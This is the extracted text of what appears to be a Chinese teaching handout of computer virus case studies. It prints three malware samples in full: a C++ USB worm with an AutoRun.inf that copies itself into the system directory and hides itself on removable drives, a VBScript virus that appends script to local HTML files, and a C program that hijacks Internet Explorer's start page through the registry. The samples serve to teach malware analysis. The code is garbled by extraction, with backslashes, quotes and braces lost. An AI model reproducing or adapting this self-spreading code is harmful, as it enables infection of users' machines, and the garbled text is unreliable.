2022年2022年计算机病毒案例 2.pdf
一、U盘病毒AutoRun.inf 文件AutoRun open=proj7_2.exe shellopen=打开(&O) shellopenCommand=proj7_2.exe shellexplore=我的资源管理器 (&X) shellexploreCommand=proj7_2.exe proj7_2.cpp 案例名称: U 盘恶意代码程序名称: proj7_2.cpp #include stdafx.h bool SaveToFile(char* Path,char* Data) HANDLE hFile; hFile=CreateFile(Path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,NULL); if(hFile=INVALID_HANDLE_VALUE)/*continue; /出错时处理 */ DWORD dwWrite; WriteFile(hFile,Data,strlen(Data),&dwWrite,NULL); CloseHandle(hFile); return true; BOOL InfectU() while(true) UINT revtype; char name256=H: ; char szName256=0; char toPath256=0; char infPath256=0; char openU80=0; 名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 1 页,共 5 页 - - - - - - - - - /遍历所有盘符for(BYTE i=0 x42;i0 x5B;i=i+0 x01) name0=i; /得到盘符类型revtype=GetDriveType(name); /判断是否是可移动存储设备if (revtype=DRIVE_REMOVABLE) /得到自身文件路径GetModuleFileName(NULL,szName,256); /比较是否和 U 盘的盘符相同/如果相同说明在 U 盘上执行,复制到系统中去if(strncmp(name,szName,1)=0) /得到系统目录GetSystemDirectory(toPath,256); strcat(toPath,proj7_2.exe); /把自身文件复制到系统目录if(CopyFile(szName,toPath,TRUE) /运行程序WinExec(toPath,0); strcpy(openU,explorer ); strcat(openU,name); /打开U 盘WinExec(openU,1); return 0; / 如果不是在 U 盘上执行,则感染 U 盘else strcpy(toPath,name); strcat(toPath,proj7_2.exe); strcpy(infPath,name); strcat(infPath,AutoRun.inf); /还原U 盘上的文件属性SetFileAttributes(toPath,FILE_ATTRIBUTE_NORMAL); 名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 2 页,共 5 页 - - - - - - - - - SetFileAttributes(infPath,FILE_ATTRIBUTE_NORMAL); /删除原有文件DeleteFile(toPath); DeleteFile(infPath); /写AutoRun.inf 到U 盘char* Data; Data = AutoRunrnopen=proj7_2.exernshellopen= 打开(&O)rnshellexplore= 我的资源管理器(&X)rnshellexploreCommand=proj7_2.exe; SaveToFile(infPath,Data); /拷贝自身文件到 U 盘CopyFile(szName,toPath,FALSE); /把这两个文件设置成系统,隐藏属性SetFileAttributes(toPath, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM); SetFileAttributes(infPath, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM); /休眠60 秒,60 检测一次Sleep(60000); int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) InfectU(); return 0; 名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 3 页,共 5 页 - - - - - - - - - 二、脚本病毒案例名称:脚本病毒程序名称: Misery.vbs 遇到错误继续执行On error resume next 遇到错误继续执行On error resume next 定义变量Dim fso,curfolder,curfile 定一个文件操作对象Set fso = createobject(scripting.filesystemobject) 得到当前目录Set curfolder = fso.GetFolder(.) 得到当前目录的文件set files = curfolder.files 文件的打开方式Const ForReading = 1, ForWriting = 2, ForAppending = 8 向所有扩展名为 htm/HTM/html/HTML 的文件中写代码for each file in Files if UCase(right(file.name,3) = HTM or UCase(right(file.name,4) = HTML then curfile = curfolder & & file.name Set f = fso.OpenTextFile(curfile, ForAppending, True) f.Write vbcrlf f.Write & vbcrlf f.Write MsgBox 你中旧痛苦岁月病毒了! & vbcrlf f.Write Set r=CreateObject(Wscript.Shell) & vbcrlf f.Write r.run(notepad.exe) & vbcrlf f.Write end if next f.Close 名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 4 页,共 5 页 - - - - - - - - - 三、案例名称:浏览器恶意代码程序名称: proj7_1.cpp #include #include main() HKEY hKey1; DWORD dwDisposition; LONG lRetCode; /创建lRetCode = RegCreateKeyEx ( HKEY_LOCAL_MACHINE, SOFTWAREMicrosoftInternet ExplorerMain, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey1, &dwDisposition); /如果创建失败,显示出错信息if (lRetCode != ERROR_SUCCESS) printf (Error in creating keyn); return (0) ; /设置键值lRetCode = RegSetValueEx ( hKey1, Default_Page_URL, 0, REG_SZ, (byte*)http:/, 100); /如果创建失败,显示出错信息if (lRetCode != ERROR_SUCCESS) printf ( Error in setting valuen); return (0) ; printf( 注册表编写成功! n); return(0); 名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 5 页,共 5 页 - - - - - - - - -